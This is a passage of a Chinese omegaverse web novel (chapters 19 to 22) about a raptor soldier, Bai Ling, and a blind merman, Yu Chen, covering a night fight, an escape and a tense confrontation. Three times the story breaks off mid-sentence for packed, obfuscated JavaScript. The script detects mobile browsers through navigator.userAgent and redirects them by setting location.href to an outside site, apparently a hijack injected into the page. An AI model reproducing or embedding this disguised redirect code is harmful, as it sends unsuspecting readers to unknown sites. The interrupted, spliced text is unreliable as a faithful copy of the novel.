萨瓦橘红色的眼睛在暗夜里微微发光,“谁知道外面那群alpha味道有多毒,你状态不稳,最好带上A性素。” 白翎把药瓶揣进口袋,抬了下枪示意:“多谢。” “谢什么谢,这有什么好谢的……”萨瓦惯常欺硬怕软,你对他态度好些,他反而会不好意思。 萨瓦正了正腔调,把诺思扛到肩膀上,跟着白翎一路冲出走廊,去到这一层的公共休息厅。 诺思倒挂在萨瓦背后,定睛一看后面,惊恐大喊:“他们有一万个人!” 萨瓦:“小意思,等会老子一个人包围他们。” 诺思又喊:“他们有夜视仪,还开挂!” 白翎:“夜视仪我也有,还是高清的。” 诺思低头寻找:“在哪?” 白翎伸出手臂,从旁边捞过怒羽冲冠的萨瓦:“暗夜小霸王,该你出场了。” 俗话说的好,宁做鸡头,不做凤尾,宁可满场乱跑,也不做其他鸟的枪架子。可惜老雕鸮家的传统注定得破个例,堂堂萨瓦少爷,最终也沦落成人肉红外瞄准器。 萨瓦一边愤怒咕咕叫,一边用夜视天赋报告: “三点种方向,四人,高度一米八,距离70米,正在向左前方移动。” 白翎把枪架在萨瓦肩膀上,凭借经验,精确调整射击角度。 在远处的黑暗中,子弹狭裹着强大的势能在alpha惊恐的目光中飞掠到眼前,狂风暴雨般打在他们膝盖。 没有一颗子弹是浪费的,前进的alpha像被冲击的沙墙般,一层接一层倒下。 有贵族吓得喊:“休息厅那边有伏击,快点后撤!” 革兰少将一脚踹倒了那个贵族,嘲讽道: “喊什么喊,这里边就一只猛禽,能把你们这群废物吓成这样。” 贵族拍拍屁股爬起来,顺口奉承: “嘿嘿,我们当然比不上少将您,连‘鸭虎’那么凶的都敢驾驭,您才是军部名副其实的顶级alpha……” 话还未说完,他瞧见革兰阴狠的眼神,顿时吓得脸色苍白,立即打了自己两个嘴巴给革兰看,就默默退到后面去了。 其他贵族向他投来鄙夷的目光。 谁都知道,那只游隼omega是革兰不能触碰的逆鳞,在这个关头提起来,你不是故意找死嘛。 革兰眯起满是血丝的眼睛,把瞄准镜举起来: “去把R-5机器人都放进来,从外包围休息厅,我就不信,射不烂这只小母鸟!” “可我们只是玩玩,动用六十个机械守卫,会不会太过了点……” 革兰扭过猩红的眸,“你敢违抗命令?” 那人立马噤声了,革兰是陛下的好友,谁也不敢忤逆他的意思。否则,他们下场会和那只omega一样惨—— 被关进监狱,秘密处决。 另一边,两只猛禽的初次配合渐入佳境,一个狙击手,一个矫正手,力速双S,夜战加强,溜得天衣无缝。 两人不约而同对彼此进行了高度评价:这家伙确实功能不错…… 要是能拆了装在我机甲上就更好了! 白翎忽然皱起眉头:“是什么硌到我肚子了?” 萨瓦不耐烦回头:“臭鸟,你压着我屁股了。” 白翎拿枪把他脑袋拨回去,内心飘过一行弹幕:到底是谁把这家伙搞怀孕的,到底有多大本事啊吃这种鸡屁股? “鸟鸟不好了!好多小O穿着睡衣跑出来,都冻得半昏迷,还有一些被枪声吓到,应激了。”诺思跑出来,焦急汇报。 “找几个学过护理的给他们做应激抢救,”白翎脑中迅速闪过地形和路线图: “休息厅后面往下走是维修室,能直通锅炉房,里面有热源。” “好,我马上带他们过去。” 诺思领头带路,萨瓦和白翎负责断后,一时间,这场带着柔弱“猎物”反杀的大撤退,进行得井井有条。 萨瓦瞟过神情冷静,沉浸在战斗中的白翎,恰好这时,白翎也回眸一瞥。 两人的视线隔着人群无意中交汇一秒,白翎扯了扯唇,萨瓦撇了撇嘴。 萨瓦不爽:卸了安上机甲可以。 白翎嫌弃:当副驾驶绝对不行。 接着互相对视,心中有谱:肯定会打起来! 然而就在这时,密密麻麻冒着红光的身影出现在视野里,那是后续增援的R-5机器人。 数量多得恐怖,两个人绝对啃不下。 “这群打不过就耍赖的狗逼alpha。”萨瓦咬牙切齿,立即朝诺思大喊:“快让他们进去,快!” 小O们慌里慌张跑进锅炉房,齐心协力把厚重的钢门推起来。 轴轮滚滚转动,门缝越来越窄,视野里能看到的那两只omega也越来越有限,他们着急地喊: “你们快进来,门快要关上了,我们拉不住。” 萨瓦低头钻进来,刚想松一口气,竟然不见白翎。 转身看去,那只爱逞强的鸟逆行而去,竟是想给他们争取时间,当最后一道防线! 萨瓦想都没想就要加入他,但白翎漠然回眸,眼里有着震人心魄的坚毅,他威胁道: “立即退回去,保护好你的领地,中尉!” 萨瓦被他的气势震住了,在军中培养的DNA触动,下意识想回答“遵命”。 就在他张口的一秒钟内,“轰”——大门关上。 白翎瘦削的身影,彻底消失在充满铁锈的钢板后。 ……完了,这臭鸟肯定要die了。 萨瓦面无表情把着枪,回头道:“你们这些小废物,哪个会唱丧歌,给我兄弟加个毒奶Buff。” 有只夜莺弱弱举手:“我以前是剧院唱歌的,算吗?可是我不会唱军队里的歌诶……” 萨瓦冷酷丢下一瞥:“不会就现学。” 夜莺泪花打 19. 严苛的占有欲 白翎颤了颤细碎的眼睫,眸光混沌地望着他。 人鱼恍如寒夜里被侵蚀的雕塑,眉眼微垂,料峭的颌骨投下阴影,骨指间提着的小灯静静发光,给面容笼罩一层朦旧的雾光。 白翎下意识伸手拂了拂眼前,想拭去“雾气”。 过了一会才发现,模糊的不是郁沉,是自己滚热的眼眶。 白翎颤着声带说:“您好……很高兴见到您,很高兴……” 这句问候放在当前的场景里,显得有些怪异。 他像卡带的机械小鸟,在耗光电量,主芯片差点烧断后,终于从不安中解放出来。目前所能回应的,也只有根据程序设定,表达忠诚。 郁沉忍不住吻了吻他被冷汗浸湿的额角,手掌捋顺单薄的脊骨,“可怜的孩子……快把药吐出来。” 人鱼抚过他紧张翕动的喉结,隔着薄薄皮肤,轻蹭喉口的位置,示意他吐到自己掌心。 白翎控制不住去看他的手。 这一次,看不到交错的掌纹,那只手被黑色小羊皮手套包裹,凑近鼻尖时,能闻见动物皮质的腥膻。 白翎被蛊惑着松开牙尖,苦涩的A性素从唇畔滑落,濡湿了手套。 郁沉抽出胸前的手帕,随意擦了擦,将含过的药片连带手帕塞回口袋。 收集omega的口液,连丁点也不残留在现场,让其他alpha碰触。 白翎根本意识不到,这是多么严苛的占有欲。 他只是盯着郁沉抬手时,袖口和手套边缘露出的一抹青色静脉,喃喃问:“您为什么要戴手套?可以摘掉吗?” “你不喜欢?”郁沉的手掌贴上来,覆盖到额间汗湿的发。 “我不喜欢您被束缚。” 郁沉的呼吸顿了两秒,他垂下眼帘扯起唇边,感觉深锁在心底长久以来的克制,正咆哮着企图挣脱牢笼。 戴上手套,隔绝肌肤接触,是避免加重omega成瘾反应的需要。 但对白翎而言,却是阻止发泄本能的障碍。 就着郁沉抚摸自己额头的动作,白翎鬼使神差叼住了手套边缘。 郁沉呼吸明显一重,白翎却毫无所觉,向后扬起脑袋一挣,紧缚的手套被猛禽的利喙扯下来,长指立即代替不舒服的皮质,重新落在白翎脸颊。 他松开小尖牙,让手套掉在自己手心,面无表情地当成战利品,也揣进了口袋。 “我的了。” 郁沉微微蹙眉,这任性的小破鸟,知不知道自己在做什么? 被筑巢欲控制的小鸟没有理智可言,劝诫不管用,郁沉准备直接拿回手套。 可他刚一动作,就被小破鸟抓住手腕,放到了自己发间。 郁沉立即明白过来这意味着什么。 在这颗星球上,还未分化完成的亚成期幼鸟羽翼尚不丰满,虽然看着长大了,仍然会留恋巢穴,抓紧一切机会找亲鸟撒娇,求长辈给自己梳理羽毛。 鸟类不像小猫小狗,靠嗅觉区分亲属。 小鸟只知道谁对他好,他就把谁当成妈妈。这是雏鸟效应的由来,也是刻在DNA里的本能。 上世纪以来,帝国大规模接纳银河系难民,其中70%是未成年孤儿,在关爱缺失的情况下,监护人也成了代替亲属传递情绪价值的必需品。 白翎本该找监护人求摸摸。 现在却贴向了他…… 郁沉轻轻叹了声气,揉了揉他的头发,指腹擦过柔软的头皮,细致地梳理起来。 这只小鸟混乱地咬着嘴唇,舒服到不自觉垫起脚,呼吸都带了轻微的鼻音。 可白翎忘记了,他的义肢膝盖碎裂,残存的钢条不足以支撑他的体重。 “咔嚓”,钢铁胫骨弯折,更多齿轮零件撒了一地。 白翎条件反射地手臂勾住人鱼的脖子,紧紧抱住来维持平衡。 “……麻烦您扶我一下,我好把碎片捡起来。”白翎轻轻说。 郁沉环住他的腰肢,动了动唇,想要说些什么。但小鸟很利落地弯下腰去,柔软的小腹抵在他手臂,稀松平常地一点一点捡起。 郁沉问:“捡好了吗,没少什么吧?” “崩碎了两块板子,但是没有关系,回头去维修间找点旧塑料拼起来就好,您不用担心。” 本意是让他别担心,可郁沉听了反而开始揪心。 白翎默默扯了下绑在大腿根的束带,毫不愧疚地隐瞒了一些事实。 没必要说太多,让对方担心受怕。身为深海贵族的人鱼,被囚禁在深宫已经够可怜了,大晚上冒着寒冷跑下来找他,可能也是断电了天黑害怕吧? 不对……郁沉本来就看不见。 既然是瞎子,为什么要提着灯过来? 白翎想到什么就问了,可是郁沉的回答却让他动容: “我怕你在黑暗里看不清我的脸,不愿意跟我走。” “我愿意!” 话刚说完,两人都同时一怔。白翎抽着嘴角把脸扭向一边,自己在说什么怪话,听着跟在答应什么誓言一样…… 郁沉则低低笑了一声,嗓音染上说不出的愉悦:“好了,都交给我吧。” 他直接从白翎手中接过零件,全部装进自己裤子口袋。 白翎呆呆望着他,任他把义肢的一部分,装进鼓鼓囊囊的口袋。 仿佛把碎裂的自己,亲手交给了他。 郁沉解开黑色驼绒外套,披到白翎肩上,接着背过身半屈膝,温和道:“上来,我带你离开。以我现在的精神力,能压制他们的时间有限。” 白翎没有推脱,战场上的伤兵应该服从指令,不拖后腿地协调撤离。 况且他已经毁掉了80%的守卫机器人,其他人也转移到了安全严密的地方,自己留在这里反而是个活靶子,会激起更多alpha的逆反心。 白翎从初遇开始,就知道郁沉的精神力等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859723|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级超群,但这一次亲眼看见他把二十来名alpha碾压在脚下,还是相当震撼。 人鱼血统天生在精神力上占有跨维度的优势。 据说,人鱼能窥见人的脑波,甚至以此为基础,进化出能捕捉到空气中电磁波的能力。 古地球第一次工业革命时期,人鱼们就掌握了电磁波的解读方法,并偷听附近人类基站的音乐,在海底开舞会。 简要来说,都是一群自带“FM收音机”的家伙。 不仅如此,他们还能模仿和发射波段,在空中拦截,收发范围比一个移动基站广得多。 从某种理论上来说,如果一只人鱼足够强,那么他/她的无线“wifi”就能覆盖整个星球。 白翎听中学历史老师这么描述过。 当时的他,对强大无匹的伊苏帕莱索,有种别样的痴迷,因而举手问:“所以那些奶车就是这么动起来的吗?连上了人鱼wifi,就会大声唱歌。” 历史老师并没有嘲讽,只意味深长地看着白翎,说: “这只是一种大胆的猜想,但实际上,这几乎是不可能用肉身做到的。除非,这条人鱼追逐权力到不想活了,甘愿燃烧寿命来掌控世界。” 说不定,伊苏帕莱索就是这么不可救药地毁掉自己的。 白翎伏在郁沉肩膀上,胡思乱想着。 其实他以前也很不可救药,想着要成为伊苏帕莱索的小奴隶什么的……还为了报答救命之恩,一头热地参军,入伍,想挤进皇帝亲卫队里,亲眼去看看那个老头到底长啥样。 现在回想起来…… 呃,可能他也有机甲雇佣兵的通病:慕强。 不过这都没什么,“我长大了……坏毛病已经改了……”白翎喃喃自语着。 郁沉稍微昂起下颌,笑着问:“什么坏毛病?” 白翎表情淡淡,诚然道:“告诉您也无妨,我以前对伊苏帕莱索有不切实际的幻想。” “现在呢?” “现在改了,不会再上那个老头的当了!” 更不会再迷恋对方了!白翎愤愤抱紧了郁沉的脖颈,枕在他肩窝,偷偷叼起一缕金发来磨牙,又坚定地说: “但您放心,今后我会保障您的安全。” 郁沉背着他,悄悄柔和了嘴角。 不愧是……他亲手奶大的小鸟。 郁沉忽然放慢脚步,停在半路,他们刚穿过密集的机器人阵队,前方几步远就是那群昏聩的alpha。 郁沉把手中的灯,交到了他的小鸟手里,告诉白翎: “拿好这盏灯,照亮我们前方的路。” 白翎总觉得这句话意义非凡。 可是彼时,他无法向下深挖出更多含义。 他只知道,这一晚,一条人鱼带着战损的他,在黑夜里慢慢前行。 小鸟提着灯,当人鱼的眼睛; 而人鱼背着鸟,成为他的腿。 20. 专属按摩仪 白翎很庆幸,上辈子的磨砺足以让他在重要关头保持理智。 然而经过革兰那个人渣时,他还是抑制不住痉挛了手指,把头偏转向一边,深深埋进郁沉柔软卷曲的金发间。 那是他永远也无法愈合的伤疤。 郁沉似乎察觉到他的不对劲,不动声色将他往上抱了抱,好让小鸟紧绷的心口,贴紧自己温暖宽厚的背。 白翎被他颠得低呼了声,连忙抱住人鱼的臂膀,从那流畅有力的肌体线条里,获得些许安定。 这种感觉新鲜又奇妙。 和哺乳动物不同,在猛禽的世界里,雌性才是那个开拓领地,守护家园的角色,雄性则负责灵活捕猎,供养家庭。因此,omega小鹰们脾性更烈,实力更强,天生就有一股傲视群雄的征服欲。 可白翎在人鱼这里,却生平第一次尝到了被细心保护的感觉。 仿佛融化成幼鸟,重回密实安全的窝巢里…… 白翎在金发织就的“小鸟巢”里困倦地扇了扇睫毛,忽然余光闪过一抹荧蓝,他瞳孔骤然缩成针,手中枪口已经对准楼梯间。 在朦胧虚幻的薄光里,有一道身影向他们行礼。 或者说,向郁沉行礼。 白翎瞥了一眼,那人面容阴冷,邪异,带着海洋软体生物特有的毒性荧光,气息收敛仿佛没有存在感,很可能是个beta。 郁沉径直带着白翎走上楼梯,beta也消失在视野中。 而白翎不知道的是,海因茨默默走出阴影,朝楼上望了一眼,才往剩余的黑暗中做了个手势。 唰唰唰,十几道身影整齐有序地没入走廊,开始收拾残局。 海因茨早已习惯这样失控的局面。站在背景里等待事端结束,接着拿扫帚簸箕出来打扫“AO战场”,已经变成了beta的宿命。 地上是受了严重精神损伤的alpha们。这些人平日里仗着凯德的权势作威作福,现在也如同菜市场的臭鱼烂虾,横七竖八躺成一堆。 海因茨蹲下去逐一检查,发现他们都还活着,由衷感叹了一声“真可惜”。 路过的下属听得汗毛倒竖,背后直冒凉气。 别人说这话可能只是调侃,但放在海因茨嘴里,或许就是死亡通告。原因不为别的,只因为这货是水母—— 一路踩着累累尸骨,爬上暴君近侍的beta。 要知道,这个国家有为数众多的海洋族。古地球气候变暖,海域严重污染,反而造成软体动物的天敌,如海龟、海豹等逐渐灭绝,水母得以大肆泛滥。 这群水母大多实力普通,是缺乏精神力和异能的beta,构成了这颗星球社会生态金字塔的基层。 然而下属却知道,他这个老板有异能,还是后天习得的异能,谁也不知道身为beta是怎么做到的。他只曾经听说过水母群体内部极为恐怖的进化策略,比如污染最大化,比如吞噬同类…… “林鹤。”海因茨冷不丁柔柔叫了下属的名字。 林鹤忍住打寒颤的冲动,检查了下机器人的状态,却震惊了下: “这些电路板应该是瞬间被烧断的,有人刚刚开启了干扰系精神力场,看这个波及范围,等级至少2个S以上。海因茨大人,我们是否需要申请调查?” 海因茨意有所指道:“这次的alpha贵族里也有不少军队任职的双S能力者。” 绝口不提自己刚才遇见了谁。 林鹤恍然道:“双s能力者,那就只有革兰少将。好的我明白了,后续报告我晚些时候会提交给您。” 他看着海因茨摆摆手,自行向锅炉房方向走,却没看到海因茨转过墙角,面色阴冷地摸出一根大头针,狠狠扎在自己后颈。 “唔”,他闷哼一声,指头却往深处摁了摁,让人工腺体扎得更紧实。 这是一种神经传感器,能够模拟s级alpha的嗅觉系统,使没有腺体的beta,也能一尝信息素的芳泽。 虽然beta以“理性至上”作为人生信条,可惭愧地说,是人就会有欲念,有欲念就有需求。这项科技发明的功能有限,甚至显得鸡肋,但暗中一直有一批忠实的beta用户。 因为这群人几乎都和alpha或omega组建了家庭,想借此打破壁垒,和伴侣的生活更加交融。 然而,海因茨是个例外。 海因茨已经失去了伴侣,现在他拥有的,只有恨他入骨的仇人。 唇边扯起一丝自嘲,海因茨贴近锅炉房的大铁门,顺着门柔情抚摸一阵,然后—— 鼻尖挤进缝隙,用力深深呼吸。 他从混杂的信息素中,分辨出一道熟悉的omega味,随之脸上迸发出欣喜,逐渐陶醉…… 与此同时,看守在门边的萨瓦,忽然眯起眼睛,用力嗅了嗅鼻子。 诺思:“怎么了?外面来alpha了吗?” 萨瓦一脸嫌恶:“闻到了一些廉价beta的香水味。我出去看看。” 诺思还未说话,萨瓦已经单手拉开其他人齐心协力推上的门。 众小o们:“……” 这到底是什么怪力猫头鹰啊啊啊! 楼梯间前,海因茨正在指挥下属离开,突然听到背后传来声阴森森的: “喂,蠢货。” 海因茨心尖微麻,调整好笑容,就要转身答应。 突然一阵猛烈的寒风刮到他脸上,他瞬间倒撞在墙上。萨瓦一头槌把他撞得流出鼻血,压抑着从牙缝里挤出怒意:“你这个混蛋怎么没死在外面?” 海因茨抬起手背擦了擦鼻血,笑容柔情似水:“有少爷在家里,我死了也要从坟墓里爬回来找你。少爷,我知道你为我守寡一年,还给我亲手刻了墓碑,我好喜欢,已经命人挖起来,摆在保险柜里了。” 萨瓦:“……你这个死变态!诈死骗我!我恨不得抽你的筋,剥你的皮,把你扔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859724|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进泡椒水里做成海蜇生腌!” 海因茨捂住心口,认真道:“我的身心永远是少爷的,能成为少爷的食物,填饱少爷的胃,将是我今生最大的荣幸。” 萨瓦怒不可遏:“滚呐!” “少爷让我的滚的时候,信息素浓度又加强了。” 萨瓦被戳中软处,整只鸟彻底炸毛,势必要和他同归于尽。他磨牙吮血地扑向海因茨,却不想刚打扫过的地面残留着洗洁精,脚下一滑溜,两人直接滚下了楼梯。 千钧一发之际,海因茨激发触手,梗啾的水母触角编织成半透明的头盔,把萨瓦牢牢护在里面。 萨瓦只听到“咚”一声,爬起来才发现,海因茨的额头重重磕到尖角,伤口渗出透明的溶液。 萨瓦脑子嗡得响了,动作快过大脑就把海因茨抱起来,焦急拍他的脸:“喂,蠢货,蠢货,你可别真死了啊。” 海因茨目光涣散,焦距逐渐消失。 萨瓦攥紧他顺直的蓝色长发,低下头混乱吻他的唇,做人工呼吸,期间颤着声咬牙威胁:“死就死吧,死了我也不会原谅你的。” 海因茨悠悠醒转,捂着额头,神情闪过一丝单纯的迷茫:“啊……发生了什么,我好像不记得了。” 萨瓦脸上僵住一瞬。 海因茨:“我失忆了,少爷我们能重新开始吗?” 萨瓦狠狠给他一个大比兜子,用力抹了抹嘴,站起来俯视着他,橘红色眼睛宛如嗜血的死神,一字一句: “现在想起来没?没想起来我再赏你两巴掌。” 海因茨回味着刚才的吻:“少爷这张帅脸,想忘记都难。” 萨瓦恶狠狠骂他“臭骗子”,踹了他两脚转身就走,对付这种海洋牛皮糖,你越是跟他纠缠,他越来劲,丢下放置了反而干脆。 萨瓦走上台阶,深深呼吸顺了顺气,下面却传来一声受伤的大喊: “你进宫是不是想给我戴绿帽来气我?你心里有我,萨瓦!” 萨瓦发出一连串冷笑:“你特么B话还挺多啊,你就是个按摩器,也配有绿帽?” 说完便重重踏着步走了,恨不得把瓷砖都干碎似的。 海因茨在原地呆站了一会,忽然掏出终端,把自己的备注名改成了: 【鸡宝的专属按摩仪】 海因茨给自己傲娇的小母鸡宝贝发消息:喜欢宝送我的新外号。 发就算了,每一则还开着弹窗,弄得萨瓦口袋里疯狂震动。 萨瓦奇怪地拿出来一看,大骂一声“卧槽,这疯批”,然后动动手指,利落把他拉黑。 海因茨又发了一条“少爷的小羽毛竖起来好可爱”。 弹出提示:【您已不是对方的好友……】 海因茨的手指顿了顿,扯了下嘴角,神情落寞地把终端放回口袋。 他自嘲一笑,今后,恐怕要用一辈子来给少爷赎罪了…… 嘛,也不失为一件幸事。 21. 无法无天的雌性 萨瓦在宿舍搜寻一圈,没有找到白翎的踪迹。他心头一紧,急忙掏出终端又是打通讯又是狂发信息。 这臭鸟,不会真被当成战利品扛走了吧,枪里还有九颗子弹,勉强够救他,咕咕冲……! [白翎]:我到朋友这里来了,不用担心。 萨瓦迈出半空的腿骤然收回来,他松了口气,同时不爽地在小群打字: [一拳一个按摩怪]:臭鸟!一声招呼都不打就抛下我们出去鬼混,我还以为你在外面瞎逛,被伊苏帕莱索的鬼魂按倒给吃了。行了去吧去吧,爷会给你留门的。 [白翎]:要按倒也是我按倒他。那老头要真敢出来,我就往他脖子上套个圈,骑着他爆冲个海底两万里。 [海兔兔卷大葱]:?听起来像水上乐园骑充气虎鲸,画面感好强。 [一拳一个按摩怪]:@白翎,大言不惭,你这臭鸟的德性早就被本少爷慧眼如炬看穿了,哼哼,Iamwatchingyou(比眼睛.jpg 白翎扬起眉尾,来了点兴趣,他倒不知道自己在宿敌眼里一直是个什么形象,是精准打击,还是勤劳能干? [白翎]:愿闻其详? [一拳一个按摩怪]:(打开麦克风)(音量最大化)你这臭鸟绝对是那种会和魔鬼签订契约的人,白天在什么神像或者雕塑前虔诚祈祷,晚上就迎接邪神的淫祀,眼里闪着狂热的光,被邪神的毒液浸润得哆哆嗦嗦。第二天若无其事到咱们跟前,看着好像整齐又禁欲,其实谁也看不出你洗得发白的衬衫下面有多少暧昧的痕迹,比如邪神的指纹,或者随便什么精神烙印。你就是这种鸟! [白翎]:……暗夜小母鸡,少熬夜看小说! [海兔兔卷大葱]:@一拳一个按摩怪,V你50,我要看付费内容(排出九文大钱,要一碗茴香鸟鸟) [一拳一个按摩怪]:嗯??等下,你说去朋友那里……你不会大半夜爬墙出去找你监护人亲亲抱抱了吧?(揶揄的目光.jpg [白翎]:想太多了,他是纯血omega。 打完这行字,白翎自己心里忽然咯噔了下。 他抬起头,重新看向镜子里的自己。 这张脸疲倦而苍白,下颌骨瘦得冒尖,唯有脸颊上有点肉,被人鱼的手捏出一抹暧昧的红印子,无端显得气色好了一点。 不对……比起之前成瘾发作那种满眼血丝的焦虑状态,他现在的的确确安泰多了。 至少心跳回归正常速率,手指也不再痉挛,比吃了特效药还立竿见影。 白翎的神情渐渐冷下来。 仔细回想起来,这两天发生的事确实有很多不合理之处。 首先,一个omega为什么要执着于占据他的监护紧急联系位,还一定要删掉其他A,弄得跟求偶期雄竞似的。 其次,回想一下两人的对话,好像那条有恃无恐的人鱼,从来没有正面回应过性别这回事! 而自己居然就这么想当然被对方牵着翅膀尖尖走? 他果然是磕错药上头了。 白翎对alpha厌恶至极,也反感别人藏着掖着打太极隐瞒性别。但对象换成了郁沉,他冷静下来一掂量,觉得还是先观察观察再下定论。 万一人家有什么难以启齿的苦处呢?比如—— [白翎]:他要不是omega,那就只能是阳.痿了。 [一拳一个按摩怪]:阳.痿好哇,上帝给他关上一道门,就会给他开一扇窗,说不定人家进化方向就是口舌灵便。 [海兔兔卷大葱]:?虎狼之词!话说我这儿才显示萨瓦改网名了,一拳一个按摩怪,嘿嘿嘿谁是按摩怪?这肯定是情侣ID吧。 [一拳一个按摩怪]:Noooo,这是死亡通知书。 眼看两人越聊越歪,白翎随手把终端丢在台面,准备脱了衣服去洗澡。 淋浴水热得有点慢,他边慢吞吞解着义肢搭扣,边放任自己胡思乱想。 ——有没有什么简单粗暴的办法,能让伪装的alpha当场显出原形? 白翎慢慢摸着口袋,从里面摸出一只未拆封的抑制棒。 在别人眼里,这可能只是大号棉棒,可一旦吸饱了omega信息素,那就是足以引爆摧毁alpha意志的核.弹! 在实施计划前,白翎瞄了眼AI刻意铺上的防滑垫,目光不禁变得意味深长。 ……这么用心,让他想下狠手都不行啊。 他一边感叹,一边干脆利落掀开垃圾桶盖子,眯着眼瞧了会,决定在这里设下—— 捕鱼陷阱 · 郁沉靠在书房的椅子里小憩了一会。 如他所料,现在解封THEMIS系统尚且勉强,即便只开了20%,也能让他精疲力竭,头痛欲裂。 AI尽职尽责道:“今天的会议我已经代您完成,相关重要内容现在就为您汇报。” 郁沉睁开无焦距的森绿色眸子,反应了两秒,随即迅速回归沉静,缓慢捏着鼻梁骨道:“开三倍速播报吧。” 早点处理完,他还想趁着时间去看看小鸟,解决成瘾的问题。 AI并未表示异议,因为三倍数处理公务,是郁沉长久以来的习惯。 在老帝国与隔壁哺乳动物联邦紧张对峙的那五十年里,巅峰时期的伊苏帕莱索能一个月不停机,甚至能十倍速阅读战报,并瞬间做出完美决策。 这种能力,一度让哺乳动物联邦惊恐万分,以为他们水禽星球已经人工智能飞升,赛博电子皇帝之眼俯瞰宇宙穹光,掌控全世界。 可惜啊,今时不同往日,现在下楼拎个小鸟外卖,都要关起门歇一会。 AI摇摇头,就这,赛博主人还天天梦见仿真小鸟,不是小鸟坠机,就是小鸟流泪。 可是真问起来那只梦里的小鸟到底是谁,长啥样,主人又语焉不详,几乎次次都扶着额角说: “不记得了,我没有视觉,看不清他的脸,只记得他和我约定傍晚见面,但他没有来……” AI想了想,问:“跟送您奶糖的机械小鸟一样吗?” 郁沉想了一下,缓缓道:“他们有相似之处,比如都是腿部残疾人士。但应该不是同一个人,我梦见的那只鸟没有信息素,也不像常来的小朋友那么嚣张跳脱。” 没有信息素,就很可能是beta,光这一点就能排除白翎。 何况鸟类因为中空骨头的脆弱性,截肢的不在少数,更不能以此来判定身份。 郁沉听了一会报告,俱是些名下集团公司的财务变动,也有复辟派的活动轨迹,以及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859725|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大量通过内推关系想挤进“七十二魔王柱”这个跨星际秘密政经组织的投诚信。 其中有一份,稍稍引起了他的注意。 AI念道:“中央秘书官海因茨刚刚向我们发送了一份皇宫宴请名单,以及所有参与‘狩猎’的alpha详细背景。此外,他还有一句留言。” “什么留言?” AI模仿海因茨阴郁拿捏的腔调:“或许您需要一个能替您处理脏活的人。” 处理脏活…… 郁沉想起白翎路过那群人时的应激反应,略做思考,随即叩了叩桌面: “找个空闲时间,安排他来见我。” 说完,他便拄着手杖起身。 时间已经快一个小时了,那只小鸟还待在浴室里没有出来? 郁沉怕他昏倒在里面,不禁加快脚步。 来到客房浴室前准备敲门,可是门没有关,他手一推就开了。 霎时间,一股浓郁黏腻的omega气味狂轰乱炸地冲向他,铺天盖地地入侵他本就疲惫的大脑。 “啊,我把用过的抑制棒扔在垃圾桶里了,气味很大吗?”白翎抱着臂靠在墙边,姿态肆意。 无法无天的小雌性!故意把吸饱汤汁的气味棒留在他的地盘,和发情期的小狗四处撒尿标记领地一模一样。 人鱼的鼻子堪比鲨鱼,能隔着几十海里闻到广阔海水稀释的一丝血腥味。 Omega加料特制的抑制棒,还残留着体温,对人鱼而言,简直冲击力大得恐怖。 郁沉猝不及防,大脑顿时空白了几秒。他一下子紧攥手杖,手背青筋暴起,脖颈线条紧绷得笔直,控制不住地剧烈呼吸。 omega酸涩甜美的气息钻进他的鼻腔,对易感期还没走的alpha来说,是糖果,更是毒药。 ……想要撕咬,要标记,要狠狠入侵碾压面前年轻柔韧的身躯……! 他抑制不住本能地伸出了牙根用于标记的獠牙……“嘶!”,右脚传来一阵刺痛,电击脚镣及时作用,及时通过痛觉唤回他一丝理智。 郁沉清醒了一瞬,便如踏进陷阱的野兽,误入铁网的鱼,预感到危机就要转身撤离。 “咔嚓。”子弹冷酷上膛声。 郁沉心头一跳,冰冷的枪管已经强势压在他额心正中,遏住他的动作。 抓到你了。 白翎挡在郁沉身前,他全身紧张绷成一张弓,随时提防对方反抗,却歪了歪脑袋,语调慵懒悠闲: “话说,我对alpha上瘾了,您对这件事有头绪吗?” 有一瞬间,郁沉愉悦得想笑。 果然,他还是喜欢这样直来直去的小鸟。 郁沉被枪口抵着脑门,一步一步慢慢后退,直到后膝盖撞到了椅子。 那只嚣张的猛禽顺势狠推了他胸膛一把,逼他坐倒进天鹅绒高背椅子,接着就一脚踏在了椅面上,踩住他质地良好的西裤缝。 宛如猎人薅住野兽的皮毛,渔夫掐住鱼鳍,老练的鸟儿迅速收网。 白翎居高临下俯瞰着人鱼的金色睫毛,用长长的黑色金属枪管恶意转着圈,碾过他的额头,故意给完美无瑕的面庞印下暧昧枪痕。 接着,他用冷漠又趣味的口吻,质问道: “耍我很开心吗?” 22. 永世沉沦 面对质问,郁沉反而放松了身体。 “如果是问我现在的心情,我确实很高兴,但不是因为隐瞒你造成的后果,而是你当下对我表现出的,坦诚。” 从郁沉的视角看,白翎完全可以装作不知道,利用他的愧疚,对他实施报复,或达成其他目的。 